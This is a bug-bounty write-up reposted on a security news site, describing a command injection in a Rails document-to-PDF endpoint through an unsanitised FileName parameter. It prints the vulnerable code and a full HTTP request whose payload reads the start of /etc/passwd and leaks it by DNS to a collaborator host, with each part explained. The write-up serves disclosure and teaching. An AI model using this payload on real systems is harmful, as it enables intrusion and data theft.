Basic recon to RCE III

Basic recon to RCE III

For the 3rd and I think last episode of the series, we’re going to continue with the same target as the episode 2, that I recommend you to go and see at first to put you a bit more in the context : Basic recon to RCE II

The Story

So, after this first RCE discovered on the application, I wanted to continue to dig, especially because this debug mode displays a POST method on the endpoint /convertdoctopdf. So I immediately thought about a SSRF and as it’s a bug that I like quite a lot, I wanted to dig it.

Another advantage of the debug mode (on Rails and maybe with other frameworks) is that if the application raises an exception, it will show you the part of the source code concerned in the response, which is pretty handy when you don’t know which parameter you should use !

After a first POST request without body, the application displays an error 500 with the piece of code that concerns the error, which tells us that the SessionId parameter is missing. I spare you the details but this technique allowed me to obtain the complete code of the method :

def convertdoctopdf
  header = {'Content-Type' =>'application/json','Authorization' => 'OAuth '+params['SessionId']}
  id = params['AttachmentId']
  baseURL = params['Url']
  fileName = params['FileName'] ? params['FileName']+(Time.now.to_i).to_s : 'fileconvert'+(Time.now.to_i).to_s
  uri = URI.parse(baseURL+"/services/data/v44.0/sobjects/Attachment/"+id+"/Body")
  
  https = Net::HTTP.new(uri.host,uri.port)
  https.use_ssl = true
  req = Net::HTTP::Get.new(uri.path, header)
  attachment = https.request(req)

  File.open("#{Rails.root}/public/#{fileName+'.docx'}", 'wb') { |f| f.write(attachment.body) }
  %x(/usr/bin/soffice --headless --convert-to pdf --outdir  "#{Rails.root}/public/file_conversion/" "#{Rails.root}/public/#{fileName+'.docx'}")

  outputfileBase64 = Base64.encode64(open("#{Rails.root}/public/file_conversion/#{fileName}.pdf").to_a.join);
 
  File.delete("#{Rails.root}/public/file_conversion/#{fileName+'.pdf'}") if File.exist?("#{Rails.root}/public/file_conversion/#{fileName+'.pdf'}")
  File.delete("#{Rails.root}/public/#{fileName+'.docx'}") if File.exist?("#{Rails.root}/public/#{fileName+'.docx'}")
 
  render json: {file: outputfileBase64}, status: :created, location: "Done"
end

Which can be described as follows:

  • header = Expects the SessionID parameter but is not important here, you can put anything
  • id = Waits for the AttachmentId parameter but is not important either, you can put anything too
  • baseUrl = Waits for the url parameter, just enter a valid URL
  • fileName = There is a ternary condition that makes it an optional parameter
  • Then a GET request is made, the content is saved to a file, converted to PDF and displayed to the user in base64

I had first stopped after leaking the HTTP request line thinking that was all I needed to trigger my SSRF. Except:

  • A GET request is made on the URL + path /services/data/v44.0/sobjects/Attachment/"+id+"/Body" but that can be easily bypassed by specifying a URL of type https://domain.tld/?x=, the path will then be forced as the parameter value.
    • The URL will become: https://domain.tld/?x=/services/data/v44.0/sobjects/Attachment/"+id+"/Body"
  • https.use_ssl = true which is the blocking point because it forces the use of HTTPS

Going back to our source code, I was saying that the body of the response is saved in a file (with the extension docx but in fact it doesn’t matter, it’s not a real docx but rather a simple text file) and then the soffice binary is called and converts this file into a PDF and displays the content of the PDF in base64 in the response. Something I didn’t know yet because I was too focused on the SSRF and I could see in the return of my request in the answer and I didn’t try to understand the cause.

I spent a few hours on the SSRF without being able to exploit it because :

  • The use of HTTPS prevents me from typing on internal URLs such as http://127.0.0.1
  • The target must have a valid certificate
  • For some reason I couldn’t query a target using a let’s encrypt certificate…

Anyway, after these blocking points, to try to inject some code in my PDF I used a Github repository on which I uploaded my PoC then I used the RAW URL (like https://raw.githubusercontent.com/user/poc/master/poc.html) to inject the content in the PDF. Unfortunately after many tries, the only tag that seemed to be interpreted was the </code> tag, the others were either deleted or not interpreted.</p> <p>A little disappointed at the time, I gave up because I had other things to do.<br /> That same day I spent the evening with my hunter friend Serizao, and I obviously told him my SSRF problem, we continued to dig together and to have a better overview, we recovered the complete code of the method above.</p> <p>At this moment, a line directly appealed to us.</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#e6db74">%x(/usr/bin/soffice --headless --convert-to pdf --outdir "</span><span style="color:#e6db74">#{</span><span style="color:#66d9ef">Rails</span><span style="color:#f92672">.</span>root<span style="color:#e6db74">}</span><span style="color:#e6db74">/public/file_conversion/" "</span><span style="color:#e6db74">#{</span><span style="color:#66d9ef">Rails</span><span style="color:#f92672">.</span>root<span style="color:#e6db74">}</span><span style="color:#e6db74">/public/</span><span style="color:#e6db74">#{</span>fileName<span style="color:#f92672">+</span><span style="color:#e6db74">'.docx'</span><span style="color:#e6db74">}</span><span style="color:#e6db74">")</span> </span></span></code></pre> </div> <p>The use of <code>%x()</code> is an alternative to the use of backticks which allows you to make a system call and display the output. Like backticks, <code>%x()</code> also allows string interpolation.</p> <p>I explained above, that the FileName parameter is optional :</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span>fileName <span style="color:#f92672">=</span> params<span style="color:#f92672">[</span><span style="color:#e6db74">'FileName'</span><span style="color:#f92672">]</span> ? params<span style="color:#f92672">[</span><span style="color:#e6db74">'FileName'</span><span style="color:#f92672">]+</span>(<span style="color:#66d9ef">Time</span><span style="color:#f92672">.</span>now<span style="color:#f92672">.</span>to_i)<span style="color:#f92672">.</span>to_s : <span style="color:#e6db74">'fileconvert'</span><span style="color:#f92672">+</span>(<span style="color:#66d9ef">Time</span><span style="color:#f92672">.</span>now<span style="color:#f92672">.</span>to_i)<span style="color:#f92672">.</span>to_s </span></span></code></pre> </div> <p>Because if it is not present, it is set with a default value automatically, but if it is present, it is equivalent to the user input (and this is where the vulnerability lies). The problem is that the string interpolation allows to inject an arbitrary command to execute an additional command to the soffice binary call.</p> <p>Example to illustrate my point, inside <code>irb</code> :</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#ae81ff">2</span><span style="color:#f92672">.</span><span style="color:#ae81ff">7</span><span style="color:#f92672">.</span><span style="color:#ae81ff">1</span> :<span style="color:#ae81ff">001</span> <span style="color:#f92672">></span> filename <span style="color:#f92672">=</span> <span style="color:#e6db74">'`id`'</span><span style="color:#f92672">+</span><span style="color:#66d9ef">Time</span><span style="color:#f92672">.</span>now<span style="color:#f92672">.</span>to_i<span style="color:#f92672">.</span>to_s </span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span><span style="color:#f92672">.</span><span style="color:#ae81ff">7</span><span style="color:#f92672">.</span><span style="color:#ae81ff">1</span> :<span style="color:#ae81ff">002</span> <span style="color:#f92672">></span> <span style="color:#e6db74">%x("</span><span style="color:#e6db74">#{</span>filename<span style="color:#e6db74">}</span><span style="color:#e6db74">")</span> </span></span><span style="display:flex;"><span><span style="color:#e6db74">sh</span>: uid<span style="color:#f92672">=</span><span style="color:#ae81ff">635388061</span>(jomar) <span style="color:#f92672">[...]</span><span style="color:#ae81ff">1646581930</span>: command <span style="color:#f92672">not</span> found </span></span><span style="display:flex;"><span> <span style="color:#f92672">=></span> <span style="color:#e6db74">""</span> </span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span><span style="color:#f92672">.</span><span style="color:#ae81ff">7</span><span style="color:#f92672">.</span><span style="color:#ae81ff">1</span> :<span style="color:#ae81ff">003</span> <span style="color:#f92672">></span> </span></span></code></pre> </div> <p>So we can see that the id command is executed.<br /> With the following request, it is possible to escape the call to soffice and execute an arbitrary command, to show the vulnerability, I extracted the first characters of the <code>/etc/passwd</code> file :</p> <pre tabindex="0"><code>POST /convertdoctopdf HTTP/1.1 Host: sub.target.tld User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko/20100101 Firefox/97.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Length: 214 Content-Type: application/json;charset=UTF-8 { "SessionId":"1", "AttachmentId":"1", "FileName": "" && getent hosts $(`echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d`).9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld #"", "Url":"https://www.google.com" } </code></pre> <p><em>Side note</em> : a domain name can be 255 characters long but a subdomain is limited to 63 characters, think about it if you do a DNS extraction</p> <p>Explanation of</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#e6db74">"" && getent hosts </span><span style="color:#66d9ef">$(</span><span style="color:#e6db74">`</span>echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg<span style="color:#f92672">==</span> | base64 -d<span style="color:#e6db74">`</span><span style="color:#66d9ef">)</span><span style="color:#e6db74">.9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld #" </span></span></span></code></pre> </div> <ul> <li><code>"</code> : Allows to close the parameter pass to soffice binary for the file name</li> <li><code>&&</code> : Indicates that a second command is being processed</li> <li><code>getent hosts</code> : Not having <code>curl</code>, <code>dig</code>, <code>ping</code> etc… available in the environment I used <code>getent hosts</code> to execute a DNS query</li> <li><code>$(echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d)</code> : To avoid encoding problems because of the <code>/</code> which raises an error with the File.open so, we put our command in base64 <ul> <li><code>echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d => head -c 4 /etc/passwd</code>. The first 4 characters of the <code>/etc/passwd</code> file which correspond to root <ul> <li><code>9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld</code> : My private burp collaborator server</li> <li><code>#"</code> : Allows you to comment out the end of the line and the <code>"</code> to avoid a syntax error in the command</li> </ul> </li> </ul> </li> </ul> <p>In the end, the executed command will be :</p> <div class="highlight"> <pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>/usr/bin/soffice --headless --convert-to pdf --outdir <span style="color:#e6db74">"folder/public/file_conversion/"</span> <span style="color:#e6db74">"folder/public/"</span> <span style="color:#f92672">&&</span> getent hosts <span style="color:#66d9ef">$(</span><span style="color:#e6db74">`</span>echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg<span style="color:#f92672">==</span> | base64 -d<span style="color:#e6db74">`</span><span style="color:#66d9ef">)</span>.9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld <span style="color:#75715e">#".pdf").to_a.join);</span> </span></span></code></pre> </div> <h2 id="conclusion">Conclusion</h2> <p>A bug that I found super interesting and was also present for a long time. I know because I had already identified this method more than 6 months ago but I had not taken the time to dig.</p> <p>What made the difference today is something that is very well explained here: <a rel="nofollow noopener" target="_blank" href="https://twitter.com/hacker_/status/1509147518638116866">Corben Leo – Hacking CAN be easy</a>. I’ve been developing small web / api applications on my own time for several months now and I use Ruby on Rails, in addition to giving me a good knowledge of the framework, it also gives me a better vision of a developer and sometimes I do sh*t because I want to go fast or because it annoys me and if I make these mistakes, why shouldn’t others do it too ?</p> <p>But also probably because rather than going from domain to domain looking for the ugly stuff that looks vulnerable, I thought I really wanted to exploit this thing and so I spent some time on it. Which shows once again that sometimes it’s much more interesting to focus on an application and understand it than to try to find a magic domain and spread payloads around without understanding what you’re doing</p> </p></div> <p><script async src="//platform.twitter.com/widgets.js" charset="utf-8"></script><br /> <br /> <br /><a href="https://www.jomar.fr/posts/2022/basic_recon_to_rce_iii/" target="_blank" rel="noopener">Source link </a></p> </div><!-- .entry-content /--> <div id="post-extra-info"> <div class="theiaStickySidebar"> <div id="share-buttons-top" class="share-buttons share-buttons-top"> <div class="share-links share-centered"> <div class="share-title"> <span class="tie-icon-share" aria-hidden="true"></span> <span> Share</span> </div> <a href="https://www.facebook.com/sharer.php?u=https://cybernoz.com/basic-recon-to-rce-iii/" rel="external noopener nofollow" title="Facebook" target="_blank" class="facebook-share-btn large-share-button" data-raw="https://www.facebook.com/sharer.php?u={post_link}"> <span class="share-btn-icon tie-icon-facebook"></span> <span class="social-text">Facebook</span> </a> <a href="https://twitter.com/intent/tweet?text=Basic%20recon%20to%20RCE%20III&url=https://cybernoz.com/basic-recon-to-rce-iii/" rel="external noopener nofollow" title="X" target="_blank" class="twitter-share-btn large-share-button" data-raw="https://twitter.com/intent/tweet?text={post_title}&url={post_link}"> <span class="share-btn-icon tie-icon-twitter"></span> <span class="social-text">X</span> </a> <a href="https://www.linkedin.com/shareArticle?mini=true&url=https://cybernoz.com/basic-recon-to-rce-iii/&title=Basic%20recon%20to%20RCE%20III" rel="external noopener nofollow" title="LinkedIn" target="_blank" class="linkedin-share-btn " data-raw="https://www.linkedin.com/shareArticle?mini=true&url={post_full_link}&title={post_title}"> <span class="share-btn-icon tie-icon-linkedin"></span> <span class="screen-reader-text">LinkedIn</span> </a> <a href="https://www.tumblr.com/share/link?url=https://cybernoz.com/basic-recon-to-rce-iii/&name=Basic%20recon%20to%20RCE%20III" rel="external noopener nofollow" title="Tumblr" target="_blank" class="tumblr-share-btn " data-raw="https://www.tumblr.com/share/link?url={post_link}&name={post_title}"> <span class="share-btn-icon tie-icon-tumblr"></span> <span class="screen-reader-text">Tumblr</span> </a> <a href="https://pinterest.com/pin/create/button/?url=https://cybernoz.com/basic-recon-to-rce-iii/&description=Basic%20recon%20to%20RCE%20III&media=https://cybernoz.com/wp-content/uploads/2023/03/Basic-recon-to-RCE-III.png" rel="external noopener nofollow" title="Pinterest" target="_blank" class="pinterest-share-btn " data-raw="https://pinterest.com/pin/create/button/?url={post_link}&description={post_title}&media={post_img}"> <span class="share-btn-icon tie-icon-pinterest"></span> <span class="screen-reader-text">Pinterest</span> </a> <a href="https://reddit.com/submit?url=https://cybernoz.com/basic-recon-to-rce-iii/&title=Basic%20recon%20to%20RCE%20III" rel="external noopener nofollow" title="Reddit" target="_blank" class="reddit-share-btn " data-raw="https://reddit.com/submit?url={post_link}&title={post_title}"> <span class="share-btn-icon tie-icon-reddit"></span> <span class="screen-reader-text">Reddit</span> </a> <a href="https://api.whatsapp.com/send?text=Basic%20recon%20to%20RCE%20III%20https://cybernoz.com/basic-recon-to-rce-iii/" rel="external noopener nofollow" title="WhatsApp" target="_blank" class="whatsapp-share-btn " data-raw="https://api.whatsapp.com/send?text={post_title}%20{post_link}"> <span class="share-btn-icon tie-icon-whatsapp"></span> <span class="screen-reader-text">WhatsApp</span> </a> <a href="https://telegram.me/share/url?url=https://cybernoz.com/basic-recon-to-rce-iii/&text=Basic%20recon%20to%20RCE%20III" rel="external noopener nofollow" title="Telegram" target="_blank" class="telegram-share-btn " data-raw="https://telegram.me/share/url?url={post_link}&text={post_title}"> <span class="share-btn-icon tie-icon-paper-plane"></span> <span class="screen-reader-text">Telegram</span> </a> <a href="mailto:?subject=Basic%20recon%20to%20RCE%20III&body=https://cybernoz.com/basic-recon-to-rce-iii/" rel="external noopener nofollow" title="Share via Email" target="_blank" class="email-share-btn " data-raw="mailto:?subject={post_title}&body={post_link}"> <span class="share-btn-icon tie-icon-envelope"></span> <span class="screen-reader-text">Share via Email</span> </a> <a href="#" rel="external noopener nofollow" title="Print" target="_blank" class="print-share-btn " data-raw="#"> <span class="share-btn-icon tie-icon-print"></span> <span class="screen-reader-text">Print</span> </a> </div><!-- .share-links /--> </div><!-- .share-buttons /--> </div> </div> <div class="clearfix"></div> <script id="tie-schema-json" type="application/ld+json">{"@context":"http:\/\/schema.org","@type":"Article","dateCreated":"2023-03-11T15:24:31+03:00","datePublished":"2023-03-11T15:24:31+03:00","dateModified":"2023-03-11T15:24:39+03:00","headline":"Basic recon to RCE III","name":"Basic recon to RCE III","keywords":[],"url":"https:\/\/cybernoz.com\/basic-recon-to-rce-iii\/","description":"For the 3rd and I think last episode of the series, we\u2019re going to continue with the same target as the episode 2, that I recommend you to go and see at first to put you a bit more in the context : Ba","copyrightYear":"2023","articleSection":"Mix","articleBody":" \r\n\n For the 3rd and I think last episode of the series, we\u2019re going to continue with the same target as the episode 2, that I recommend you to go and see at first to put you a bit more in the context : Basic recon to RCE II\nThe Story\nSo, after this first RCE discovered on the application, I wanted to continue to dig, especially because this debug mode displays a POST method on the endpoint \/convertdoctopdf. So I immediately thought about a SSRF and as it\u2019s a bug that I like quite a lot, I wanted to dig it.\nAnother advantage of the debug mode (on Rails and maybe with other frameworks) is that if the application raises an exception, it will show you the part of the source code concerned in the response, which is pretty handy when you don\u2019t know which parameter you should use !\nAfter a first POST request without body, the application displays an error 500 with the piece of code that concerns the error, which tells us that the SessionId parameter is missing. I spare you the details but this technique allowed me to obtain the complete code of the method :\ndef convertdoctopdf\n header = {'Content-Type' =>'application\/json','Authorization' => 'OAuth '+params['SessionId']}\n id = params['AttachmentId']\n baseURL = params['Url']\n fileName = params['FileName'] ? params['FileName']+(Time.now.to_i).to_s : 'fileconvert'+(Time.now.to_i).to_s\n uri = URI.parse(baseURL+\"\/services\/data\/v44.0\/sobjects\/Attachment\/\"+id+\"\/Body\")\n \n https = Net::HTTP.new(uri.host,uri.port)\n https.use_ssl = true\n req = Net::HTTP::Get.new(uri.path, header)\n attachment = https.request(req)\n\n File.open(\"#{Rails.root}\/public\/#{fileName+'.docx'}\", 'wb') { |f| f.write(attachment.body) }\n %x(\/usr\/bin\/soffice --headless --convert-to pdf --outdir \"#{Rails.root}\/public\/file_conversion\/\" \"#{Rails.root}\/public\/#{fileName+'.docx'}\")\n\n outputfileBase64 = Base64.encode64(open(\"#{Rails.root}\/public\/file_conversion\/#{fileName}.pdf\").to_a.join);\n \n File.delete(\"#{Rails.root}\/public\/file_conversion\/#{fileName+'.pdf'}\") if File.exist?(\"#{Rails.root}\/public\/file_conversion\/#{fileName+'.pdf'}\")\n File.delete(\"#{Rails.root}\/public\/#{fileName+'.docx'}\") if File.exist?(\"#{Rails.root}\/public\/#{fileName+'.docx'}\")\n \n render json: {file: outputfileBase64}, status: :created, location: \"Done\"\nend\nWhich can be described as follows:\n\nheader = Expects the SessionID parameter but is not important here, you can put anything\nid = Waits for the AttachmentId parameter but is not important either, you can put anything too\nbaseUrl = Waits for the url parameter, just enter a valid URL\nfileName = There is a ternary condition that makes it an optional parameter\nThen a GET request is made, the content is saved to a file, converted to PDF and displayed to the user in base64\n\nI had first stopped after leaking the HTTP request line thinking that was all I needed to trigger my SSRF. Except:\n\nA GET request is made on the URL + path \/services\/data\/v44.0\/sobjects\/Attachment\/\"+id+\"\/Body\" but that can be easily bypassed by specifying a URL of type https:\/\/domain.tld\/?x=, the path will then be forced as the parameter value.\n\nThe URL will become: https:\/\/domain.tld\/?x=\/services\/data\/v44.0\/sobjects\/Attachment\/\"+id+\"\/Body\"\n\n\nhttps.use_ssl = true which is the blocking point because it forces the use of HTTPS\n\nGoing back to our source code, I was saying that the body of the response is saved in a file (with the extension docx but in fact it doesn\u2019t matter, it\u2019s not a real docx but rather a simple text file) and then the soffice binary is called and converts this file into a PDF and displays the content of the PDF in base64 in the response. Something I didn\u2019t know yet because I was too focused on the SSRF and I could see in the return of my request in the answer and I didn\u2019t try to understand the cause.\nI spent a few hours on the SSRF without being able to exploit it because :\n\nThe use of HTTPS prevents me from typing on internal URLs such as http:\/\/127.0.0.1\nThe target must have a valid certificate\nFor some reason I couldn\u2019t query a target using a let\u2019s encrypt certificate\u2026\n\nAnyway, after these blocking points, to try to inject some code in my PDF I used a Github repository on which I uploaded my PoC then I used the RAW URL (like https:\/\/raw.githubusercontent.com\/user\/poc\/master\/poc.html) to inject the content in the PDF. Unfortunately after many tries, the only tag that seemed to be interpreted was the tag, the others were either deleted or not interpreted.\nA little disappointed at the time, I gave up because I had other things to do.\nThat same day I spent the evening with my hunter friend Serizao, and I obviously told him my SSRF problem, we continued to dig together and to have a better overview, we recovered the complete code of the method above.\nAt this moment, a line directly appealed to us.\n%x(\/usr\/bin\/soffice --headless --convert-to pdf --outdir \"#{Rails.root}\/public\/file_conversion\/\" \"#{Rails.root}\/public\/#{fileName+'.docx'}\")\nThe use of %x() is an alternative to the use of backticks which allows you to make a system call and display the output. Like backticks, %x() also allows string interpolation.\nI explained above, that the FileName parameter is optional :\nfileName = params['FileName'] ? params['FileName']+(Time.now.to_i).to_s : 'fileconvert'+(Time.now.to_i).to_s\nBecause if it is not present, it is set with a default value automatically, but if it is present, it is equivalent to the user input (and this is where the vulnerability lies). The problem is that the string interpolation allows to inject an arbitrary command to execute an additional command to the soffice binary call.\nExample to illustrate my point, inside irb :\n2.7.1 :001 > filename = '`id`'+Time.now.to_i.to_s\n2.7.1 :002 > %x(\"#{filename}\")\nsh: uid=635388061(jomar) [...]1646581930: command not found\n => \"\"\n2.7.1 :003 >\nSo we can see that the id command is executed.\nWith the following request, it is possible to escape the call to soffice and execute an arbitrary command, to show the vulnerability, I extracted the first characters of the \/etc\/passwd file :\nPOST \/convertdoctopdf HTTP\/1.1\nHost: sub.target.tld\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:97.0) Gecko\/20100101 Firefox\/97.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nContent-Length: 214\nContent-Type: application\/json;charset=UTF-8\n\n{\n \"SessionId\":\"1\",\n \"AttachmentId\":\"1\",\n \"FileName\": \"\" && getent hosts $(`echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d`).9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld #\"\",\n \"Url\":\"https:\/\/www.google.com\"\n}\nSide note : a domain name can be 255 characters long but a subdomain is limited to 63 characters, think about it if you do a DNS extraction\nExplanation of\n\"\" && getent hosts $(`echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d`).9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld #\"\n\n\" : Allows to close the parameter pass to soffice binary for the file name\n&& : Indicates that a second command is being processed\ngetent hosts : Not having curl, dig, ping etc\u2026 available in the environment I used getent hosts to execute a DNS query\n$(echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d) : To avoid encoding problems because of the \/ which raises an error with the File.open so, we put our command in base64\n\necho aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d => head -c 4 \/etc\/passwd. The first 4 characters of the \/etc\/passwd file which correspond to root\n\n9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld : My private burp collaborator server\n#\" : Allows you to comment out the end of the line and the \" to avoid a syntax error in the command\n\n\n\n\n\nIn the end, the executed command will be :\n\/usr\/bin\/soffice --headless --convert-to pdf --outdir \"folder\/public\/file_conversion\/\" \"folder\/public\/\" && getent hosts $(`echo aGVhZCAtYyA0IC9ldGMvcGFzc3dkCg== | base64 -d`).9blrzz2yqaikw8t47xdlfgsa91fr3g.private.collaborator.tld #\".pdf\").to_a.join);\n\n\nConclusion\nA bug that I found super interesting and was also present for a long time. I know because I had already identified this method more than 6 months ago but I had not taken the time to dig.\nWhat made the difference today is something that is very well explained here: Corben Leo - Hacking CAN be easy. I\u2019ve been developing small web \/ api applications on my own time for several months now and I use Ruby on Rails, in addition to giving me a good knowledge of the framework, it also gives me a better vision of a developer and sometimes I do sh*t because I want to go fast or because it annoys me and if I make these mistakes, why shouldn\u2019t others do it too ?\nBut also probably because rather than going from domain to domain looking for the ugly stuff that looks vulnerable, I thought I really wanted to exploit this thing and so I spent some time on it. Which shows once again that sometimes it\u2019s much more interesting to focus on an application and understand it than to try to find a magic domain and spread payloads around without understanding what you\u2019re doing\n\n \r\n\r\nSource link ","publisher":{"@id":"#Publisher","@type":"Organization","name":"Cybernoz - Cybersecurity News","logo":{"@type":"ImageObject","url":"https:\/\/cybernoz.com\/wp-content\/themes\/jannah\/assets\/images\/logo@2x.png"},"sameAs":["https:\/\/t.me\/cybernozcom"]},"sourceOrganization":{"@id":"#Publisher"},"copyrightHolder":{"@id":"#Publisher"},"mainEntityOfPage":{"@type":"WebPage","@id":"https:\/\/cybernoz.com\/basic-recon-to-rce-iii\/","breadcrumb":{"@id":"#Breadcrumb"}},"author":{"@type":"Person","name":"Cybernoz","url":"https:\/\/cybernoz.com\/author\/cybernoz\/"},"image":{"@type":"ImageObject","url":"https:\/\/cybernoz.com\/wp-content\/uploads\/2023\/03\/Basic-recon-to-RCE-III.png","width":1200,"height":270}}</script> </article><!-- #the-post /--> <div class="post-components"> <div id="read-next-block" class="container-wrapper read-next-slider-4"> <h2 class="read-next-block-title">Read Next</h2> <section id="tie-read-next" class="slider-area mag-box"> <div class="slider-area-inner"> <div id="tie-main-slider-4-read-next" class="tie-main-slider main-slider wide-slider-with-navfor-wrapper wide-slider-wrapper centered-title-slider tie-slick-slider-wrapper" data-slider-id="4" data-autoplay="true" data-speed="3000"> <div class="main-slider-inner"> <div class="container slider-main-container"> <div class="tie-slick-slider"> <ul class="tie-slider-nav"></ul> <div style="background-image: url(https://cybernoz.com/wp-content/uploads/2025/07/AIs-Morose-Mania.jpg)" class="slide slide-id-176904 tie-slide-1 tie-standard"> <a href="https://cybernoz.com/ais-morose-mania/" class="all-over-thumb-link" aria-label="AI’s Morose Mania"></a> <div class="thumb-overlay"><div class="container"><span class="post-cat-wrap"><a class="post-cat tie-cat-9893" href="https://cybernoz.com/category/mix/">Mix</a></span><div class="thumb-content"><div class="thumb-meta"><span class="date meta-item tie-icon">July 6, 2025</span></div> <h2 class="thumb-title"><a href="https://cybernoz.com/ais-morose-mania/">AI’s Morose Mania</a></h2> </div> <!-- .thumb-content /--></div><!-- .container --> </div><!-- .thumb-overlay /--> </div><!-- .slide || .grid-item /--> <div style="background-image: url(https://cybernoz.com/wp-content/uploads/2025/07/The-End-of-Work-Daniel-Miessler.png)" class="slide slide-id-176705 tie-slide-2 tie-standard"> <a href="https://cybernoz.com/the-end-of-work-daniel-miessler-2/" class="all-over-thumb-link" aria-label="The End of Work | Daniel Miessler"></a> <div class="thumb-overlay"><div class="container"><span class="post-cat-wrap"><a class="post-cat tie-cat-9893" href="https://cybernoz.com/category/mix/">Mix</a></span><div class="thumb-content"><div class="thumb-meta"><span class="date meta-item tie-icon">July 4, 2025</span></div> <h2 class="thumb-title"><a href="https://cybernoz.com/the-end-of-work-daniel-miessler-2/">The End of Work | Daniel Miessler</a></h2> </div> <!-- .thumb-content /--></div><!-- .container --> </div><!-- .thumb-overlay /--> </div><!-- .slide || .grid-item /--> <div style="background-image: none" class="slide slide-id-176703 tie-slide-3 tie-standard"> <a href="https://cybernoz.com/were-all-in-fractal-microcults/" class="all-over-thumb-link" aria-label="We’re All in Fractal Microcults"></a> <div class="thumb-overlay"><div class="container"><span class="post-cat-wrap"><a class="post-cat tie-cat-9893" href="https://cybernoz.com/category/mix/">Mix</a></span><div class="thumb-content"><div class="thumb-meta"><span class="date meta-item tie-icon">July 4, 2025</span></div> <h2 class="thumb-title"><a href="https://cybernoz.com/were-all-in-fractal-microcults/">We’re All in Fractal Microcults</a></h2> </div> <!-- .thumb-content /--></div><!-- .container --> </div><!-- .thumb-overlay /--> </div><!-- .slide || .grid-item /--> <div style="background-image: url(https://cybernoz.com/wp-content/uploads/2025/07/tldr-sec-286-Securing-Vibe-Coding-Finding-Secrets-Oops.png)" class="slide slide-id-176625 tie-slide-4 tie-standard"> <a href="https://cybernoz.com/tldr-sec-286-securing-vibe-coding-finding-secrets-oops-commits-backdooring-ide-extensions/" class="all-over-thumb-link" aria-label="[tl;dr sec] #286 – Securing Vibe Coding, Finding Secrets “Oops Commits”, Backdooring IDE Extensions"></a> <div class="thumb-overlay"><div class="container"><span class="post-cat-wrap"><a class="post-cat tie-cat-9893" href="https://cybernoz.com/category/mix/">Mix</a></span><div class="thumb-content"><div class="thumb-meta"><span class="date meta-item tie-icon">July 3, 2025</span></div> <h2 class="thumb-title"><a href="https://cybernoz.com/tldr-sec-286-securing-vibe-coding-finding-secrets-oops-commits-backdooring-ide-extensions/">[tl;dr sec] #286 – Securing Vibe Coding, Finding Secrets “Oops Commits”, Backdooring IDE Extensions</a></h2> </div> <!-- .thumb-content /--></div><!-- .container --> </div><!-- .thumb-overlay /--> </div><!-- .slide || .grid-item /--> <div style="background-image: none" class="slide slide-id-176533 tie-slide-5 tie-standard"> <a href="https://cybernoz.com/what-cisas-bod-25-01-means-for-api-security-and-how-wallarm-can-help/" class="all-over-thumb-link" aria-label="What CISA’s BOD 25-01 Means for API Security and How Wallarm Can Help"></a> <div class="thumb-overlay"><div class="container"><span class="post-cat-wrap"><a class="post-cat tie-cat-9893" href="https://cybernoz.com/category/mix/">Mix</a></span><div class="thumb-content"><div class="thumb-meta"><span class="date meta-item tie-icon">July 3, 2025</span></div> <h2 class="thumb-title"><a href="https://cybernoz.com/what-cisas-bod-25-01-means-for-api-security-and-how-wallarm-can-help/">What CISA’s BOD 25-01 Means for API Security and How Wallarm Can Help</a></h2> </div> <!-- .thumb-content /--></div><!-- .container --> </div><!-- .thumb-overlay /--> </div><!-- .slide || .grid-item /--> <div style="background-image: none" class="slide slide-id-176059 tie-slide-6 tie-standard"> <a href="https://cybernoz.com/why-prompt-engineering-and-context-engineering-both-miss-the-point/" class="all-over-thumb-link" aria-label="Why Prompt Engineering and Context Engineering Both Miss the Point"></a> <div class="thumb-overlay"><div class="container"><span class="post-cat-wrap"><a class="post-cat tie-cat-9893" href="https://cybernoz.com/category/mix/">Mix</a></span><div class="thumb-content"><div class="thumb-meta"><span class="date meta-item tie-icon">July 1, 2025</span></div> <h2 class="thumb-title"><a 